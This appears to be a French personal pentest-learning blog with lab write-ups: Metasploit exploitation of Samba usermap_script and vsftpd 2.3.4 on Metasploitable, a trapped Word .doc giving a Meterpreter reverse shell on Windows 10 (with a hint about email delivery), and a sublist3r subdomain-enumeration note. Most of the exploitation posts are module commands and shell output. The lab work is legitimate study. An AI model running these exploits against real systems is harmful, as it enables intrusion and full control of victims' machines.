lundi 20 juin 2022

Metasploit : Exploitation d'une vulnérabilité Samba

 


 Metasploit: Exploitation d'une vulnérabilité Samba

Attention !

Cet article contient des techniques pouvant être dangereuses si elles sont utilisées à mauvais escient.

Je ne suis pas responsable d'utilisations illégales et d'éventuels problèmes avec la loi en cas d'utilisation malveillante.



└─# nmap -sV 192.168.1.38


139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) Samba permet de partager des imprimantes... sur le réseau local. Version un peu vague entre 3.X et 4.X


msf6 > use auxiliary/scanner/smb/


   12  auxiliary/scanner/smb/smb_version                             normal  No     SMB Version Detection


msf6 > use auxiliary/scanner/smb/smb_version

msf6 auxiliary(scanner/smb/smb_version) >


msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.38

RHOSTS => 192.168.1.38

msf6 auxiliary(scanner/smb/smb_version) > exploit


[*] 192.168.1.38:445      -   Host could not be identified: Unix (Samba 3.0.20-Debian) N'a pas identifié la version mais donne indications Unix (Samba 3.2.20-Debian).

Recherche Internet permet de trouver des vulnérabilités Samba un exploit adapté dans Metasploit.


msf6 auxiliary(scanner/smb/smb_version) > use exploit/multi/samba/usermap_script Exploit trouvé sur internet

[*] No payload configured, defaulting to cmd/unix/reverse_netcat

msf6 exploit(multi/samba/usermap_script) >


msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.1.38

RHOSTS => 192.168.1.38


msf6 exploit(multi/samba/usermap_script) > exploit


[*] Started reverse TCP handler on 192.168.1.33:4444 

[*] Command shell session 1 opened (192.168.1.33:4444 -> 192.168.1.38:58300) at 2022-06-20 09:37:04 +0200


pwd

/

whoami

root

mardi 14 juin 2022

Exploitation d'une vulnérabilité dans Metasploitable



Attention !

Cet article contient des techniques pouvant être dangereuses si elles sont utilisées à mauvais escient.

Je ne suis pas responsable d'utilisations illégales et d'éventuels problèmes avec la loi en cas d'utilisation malveillante.


J'ai effectué cette expérience avec une machine Kali et une autre sous Metasploitable. La machine attaquante sous Kali a l'IP 192.168.1.33 et la cible sous Metasploitable l'IP 192.168.1.38. J'utilise METASPLOIT afin de réaliser ce hack.

┌──(root㉿kali)-[/home/hau]

└─# msfconsole

msf6 > search vsftpd (Recherche Exploit)

   #  Name                                  Disclosure Date  Rank       Check  Description

   -  ----                                  ---------------  ----       -----  -----------

   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution (Nous avons l'exploit vsftpd_234_backdoor de 2011)

   msf6 > info exploit/unix/ftp/vsftpd_234_backdoor (Afin d'avoir des infos sur l'exploit)

       Name: VSFTPD v2.3.4 Backdoor Command Execution

     Module: exploit/unix/ftp/vsftpd_234_backdoor

   Platform: Unix (Plateforme visée, ici Unix)

    Rank: Excellent (donne le niveau de facilité d'exploitation, ici très peu de configuration et d'interaction à faire en amont. Le rang Excellent donne les vulnérabilités les plus critiques))    

    Disclosed: 2011-07-03 (date de découverte)

    Basic options: (Les options...)

  Name    Current Setting  Required  Description

  ----    ---------------  --------  -----------

  RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

  RPORT   21               yes       The target port (TCP)

    msf6 > use exploit/unix/ftp/vsftpd_234_backdoor (Pour lancer l'exploit; toujours respecter le chemin)

[*] No payload configured, defaulting to cmd/unix/interact

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > (On entre dans la configuration de l'exploit)

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options (Pour voir les options requises)

Name    Current Setting  Required  Description

   ----    ---------------  --------  -----------

   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit (Nous indique que l'option RHOSTS est à remplir, correspond à l'IP de la machine cible, de l'hôte distant)

   RPORT   21               yes       The target port (TCP)

      A savoir que j'utiliserai cet exploit pour attaquer la machine Metasploitable. J'ai volontairement passé l'étape du scan permettant de découvrir cette faille dans la machine Metasploitable.

   msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.38 (Me permet d'attribuer l'IP de la machine cible (Metasploitable) à l'exploit)

RHOSTS => 192.168.1.38

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options (Pour vérifier l'attribution de l'IP)

RHOSTS  192.168.1.38     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit (Je peux voir que l'IP a été attribuée à la cible)

Nous allons pouvoir attaquer notre machine cible:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.38:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.1.38:21 - USER: 331 Please specify the password.

[+] 192.168.1.38:21 - Backdoor service has been spawned, handling...

[+] 192.168.1.38:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.1.33:33335 -> 192.168.1.38:6200) at 2022-06-13 14:19:03 +0200 (Je peux voir que j'obtiens une session qui m'a connecté à la machine Metasploitable depuis ma machine attaquante dont l'IP est 192.168.1.33)

Désormais les commandes que je taperai depuis ma console d'attaque msf s'exécuteront directement sur la machine cible dont je viens de prendre le contrôle complet... On peut donc voir le niveau Excellent de cet exploit.

Je vais taper pwd sur ma machine attaquante afin de voir dans quel répertoire de je trouve:

pwd

/ (racine /)

cd /root (Pour changer de répertoire)

Je me rends dans ma machine Metasploitable:

ls /root (pour voir ce que j'ai dans le répertoire root)

bonjour.txt   Desktop   reset_logs.sh   vnc.log (soit 4 fichiers)

Je retourne dans ma machine attaquante:

touch salut.txt (Je crée un fichier sur la machine Metasploitable)

Je retourne sur la machine cible et je refais un ls /root:

bonjour.txt    Desktop    reset_logs.sh    vnc.log   salut.txt (J'ai à présent un 5ème fichier, celui que j'ai créé dans ma machine Kali attaquante, dans mon répertoire root)

Ayant le contrôle total, je peux supprimer des fichiers, redémarrer la machine, etc.

Ainsi la commande:

whoami

root (M'indique que je suis root, avec les droits, sur le système cible)

 Tout ceci pour montrer ce que l'on peut faire. Toutefois, manque l'étape de la reconnaissance/scanning réseau qui permet de trouver la vulnérabilité; la plus importante ! J'y reviendrai ultérieurement.

Vulnérabilités dans Microsoft Word


Avec un fichier .doc, comment prendre le contrôle d'un ordinateur


 Attention !

Cet article contient des techniques pouvant être dangereuses si elles sont utilisées à mauvais escient.

Je ne suis pas responsable d'utilisations illégales et d'éventuels problèmes avec la loi en cas d'utilisation malveillante.


J'ai effectué cette expérience avec une machine Kali et une autre sous Windows 10. La machine attaquante sous Kali a l'IP 192.168.1.33 et la cible sous Windows l'IP 192.168.1.44. J'ai désactivé le pare-feu sous Windows car la faille a depuis été corrigée. Par ailleurs, j'ai téléchargé et installé, toujours sous Windows, l'ancienne version Office Standard 2013 SP1 (x86 et x64) - VLSC. La faille touche les versions Office 2010, 2013, 2016.

Le but sera de lancer un exploit qui permet de lancer des commandes à distance avec un fichier Hta à l'aide d'un fichier .doc piégé que je vais installer sur la machine Windows. C'est ce fichier .doc qui permet de prendre le contrôle de la cible. J'utilise METASPLOIT afin de réaliser ce hack.


J'utilise l'exploit suivant depuis la console msf:


msf6 > use exploit/windows/fileformat/office_word_hta

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp


Je suis dans l'exploit. Pas de payload mais prend par défaut windows/meterpreter/reverse_tcp qui tombe à point nommé.


msf6 exploit(windows/fileformat/office_word_hta) > Show options (Permet de voir les différentes options requises ou non)


Module options (exploit/windows/fileformat/office_word_hta):


  Name   Current Setting Required Description

  ----   --------------- -------- -----------

  FILENAME msf.doc     yes    The file name. (document cible utilisé et envoyé à machine victime Windows)

  SRVHOST  0.0.0.0     yes    The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

  SRVPORT  8080       yes    The local port to listen on.

  SSL    false      no    Negotiate SSL for incoming connections

  SSLCert          no    Path to a custom SSL certificate (default is randomly generated)

  URIPATH  default.hta   yes    The URI to use for the HTA file (nom du fichier hta)



Payload options (windows/meterpreter/reverse_tcp):


  Name   Current Setting Required Description

  ----   --------------- -------- -----------

  EXITFUNC process     yes    Exit technique (Accepted: '', seh, thread, process, none)

  LHOST   192.168.1.33   yes    The listen address (an interface may be specified) (adresse IP de l'attaquant)

  LPORT   4444       yes    The listen port (port en écoute)


Pour lancer l'exploit:  


msf6 exploit(windows/fileformat/office_word_hta) > exploit

[*] Exploit running as background job 0.

[*] Exploit completed, but no session was created.

msf6 exploit(windows/fileformat/office_word_hta) > 

[*] Started reverse TCP handler on 192.168.1.33:4444 (handler lancé; prêt à recevoir sur mon adresse IP et le port 4444 défini précédemment. C'est la machine cible qui se mettra en écoute et attendra les ordres provenant de l'attaquant)

[+] msf.doc stored at /home/hau/.msf4/local/msf.doc (document piégé)

[*] Using URL: http://192.168.1.33:8080/default.hta (hta sur serveur en attente)

[*] Server started.


Il faut maintenant transférer le document piégé sur la machine Windows. En situation réelle, en pièce jointe dans un email ferait l'affaire... Pour l'expérience, je vais le transmettre dans le site web de Kali (ce qui m'évite de faire un mail ou de le transférer dans une clé USB...). Pour ce faire, j'ouvre un autre terminal afin de démarrer le serveur Kali.


sudo service apache2 start (démarre le serveur web de Kali)

[sudo] Mot de passe de hau : 

                                                                                                                       

┌──(hau㉿kali)-[~]

└─$ sudo mv /home/hau/.msf4/local/msf.doc /var/www/html/msf.doc (Toujours dans le 2ème terminal afin de déplacer le msf.doc dans le serveur html. Il est déplacé dans la racine du site var/www/html.)


A ce moment je peux me rendre dans la machine cible en Windows 10, ouvrir un onglet et taper:


192.168.1.33/msf.doc (adresse IP de Kali)


Toujours sur la cible j'ouvre le document .doc. Et une fois que le document est ouvert ou enregistré et qu'on active la modification, en retournant sur la session Kali Metasploitable;


Sending stage (175174 bytes) to 192.168.1.44

[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.44:56521 ) at 2022-06-10 11:01:31 +0200

  

Revenu du côté hacker (terminal Metasploitable). Démarrage de Meterpreter qui gère les transferts de données entre machine attaquante et machine cible piratée.


sessions -i 1

[*] Starting interaction with 1...


meterpreter > pwd (affiche le répertoire courant de la machine piratée). L'attaquant est connecté à la machine Windows et se trouve dans:


C:\Windows\system32

 

Je souhaite aller dans le Bureau de la machine cible, toujours depuis ma Kali, afin d'effectuer des opérations :


meterpreter > cd ..

meterpreter > pwd

C:\Windows

meterpreter > cd ..

meterpreter > pwd

C:\            (J'ai remonté les repertoires.)

meterpreter > cd Users\

 > pwd

[-] stdapi_fs_chdir: Operation failed: The system cannot find the file specified. (Ici c'est une mauvaise manip :-))

meterpreter > pwd

C:\            (Une fois que je suis sur la racine, je remonte jusqu'au Bureau.)

meterpreter > cd Users

meterpreter > pwd

C:\Users

meterpreter > cd htpro

meterpreter > pwd

C:\Users\htpro

meterpreter > cd Desktop

meterpreter > pwd

C:\Users\htpro\Desktop   (Je suis désormais sur le Bureau de la machine piratée. Je peux travailler sur le Bureau de la machine piratée (créer des fichiers...))


J'ai le contrôle total sur la cible et je peux créer, supprimer, éditer toute sorte de fichiers sur la machine de la victime. Par exemple:


meterpreter > del mon_fichier.txt (ou mon_fichier.txt est un fichier que j'ai créé sur le bureau de la machine.)


Je peux prendre un screenshot:


meterpreter > screenshot

Screenshot saved to: /home/hau/CTDubmVQ.jpeg (qui est sauvegardé dans le répertoire /home/hau/)


meterpreter > execute -f notepad.exe (Exécute un programme le programme notepad.exe).

Process 7172 created. (réponse)


meterpreter > ps      (Affiche tous les processus en cours sur la machine piratée)


Process List

============


 PID  PPID Name             Arch Session User          Path

 ---  ---- ----             ---- ------- ----          ----

 0   0   [System Process]

 4   0   System

 72  4   Registry

 212  768  RuntimeBroker.exe      x64  1    DESKTOP-V26IB45\htpro C:\Windows\System32\RuntimeBroker.exe

 7172 8744 notepad.exe         x86  1    DESKTOP-V26IB45\htpro C:\Windows\SysWOW64\notepad.exe    (Je retrouve mon notepad (PID 7172))


meterpreter > kill 7172      (Je peux le tuer. Il disparait de la machine piratée.)

Killing: 7172 (réponse)


J'ai exposé ici une faille de sécurité sur une version de Word. Avec un simple fichier .doc, j'ai pu prendre le contrôle d'un ordinateur.


C'est bien beau tout ça ! Mais... Comment se prémunir d'une telle faille?

La première solution réside dans la mise à jour de sécurité de Word. Mais encore faut-il être au courant de la vulnérabilité. Car lorsque l'on a affaire à un 0 Day...

La deuxième solution est aussi applicable sous Windows. A l'aide de TCPView, j'ai pu afficher et repérer tous les processus actifs qui communiquent avec le réseau. J'ai ainsi pu retrouver l'adresse distante de Kali ainsi que le port sur lequel tournait un Powershell.exe qui a établi la connexion entre les 2 machines. Par ailleurs, depuis TCPView, j'ai pu tuer (Kill Process) le processus sur la machine piratée :


meterpreter > 

[*] 192.168.1.44 - Meterpreter session 1 closed. Reason: Died

Documenter ce que je fais

 


       Même les erreurs !

Note importante

Ce blog contient des techniques pouvant être dangereuses si elles sont utilisées à mauvais escient.

Mon objectif à travers mes contenus est d'exposer mes expériences en matière de sécurité informatique à des fins de protection contre le piratage et en aucun cas pour commettre des actes illégaux.

Je ne suis pas responsable d'utilisations frauduleuses et d'éventuels problèmes avec la loi en cas d'utilisation malveillante.


Ce blog a pour objectif d'améliorer mes compétences. Ce faisant ce blog a pour objectif de mettre en avant et montrer mes expériences en matière de hacking.


Il comportera mes notes et mes projets en matière de pentest.


Ce blog rentre dans le cadre d'un projet plus vaste consistant à m'afficher en tant que pentester. Je m'appelle Thierry Hau et il est à noter que je suis en reconversion professionnelle depuis un domaine musical vers le domaine de la cybersécurité.


J'ose espérer que les activités que j'exposerai dans ce blog, et plus particulièrement les projets pentests, démontreront que ces expériences pourront rentrer dans le cadre de mon expérience professionnelle. A ce titre, j'invite les futurs followers à interagir, conseiller, commenter afin d'établir une dynamique d'échanges profitables à tous.

Subdomain Enumeration


Les sous-domaines trouvés sont autant de cibles. Ils peuvent posséder des infos, logiciels non à jours, informations sensibles, des interfaces non sécurisées...

Dans la recherche passive, pendant laquelle on identifie les sous-domaines sans interagir avec la cible à travers des sources ouvertes, j'aime bien cet outil étendant les capacités d'énumération DNS, sublist3r.

Normalement il est dit qu'il est préinstallé sur Kali mais j'ai du l'installer.

Chercher les sous-domaines de Kali ( -d kali.org) en utilisant Bing (-e bing) et 3 threads (-t 3).


Avec l'option -d [domain], il recherche les sous-domaines dans plusieurs sources.




Cette technique dénombre pas mal de sous-domaines et aide donc à identifier des cibles accessibles de façon publique.

Chacune peut être vulnérable et attaquable et il convient de les vérifier soigneusement lors du test d'intrusion.



Metasploit : Exploitation d'une vulnérabilité Samba

   Metasploit: Exploitation d'une vulnérabilité Samba Attention ! Cet article contient des techniques pouvant être dangereuses si elles...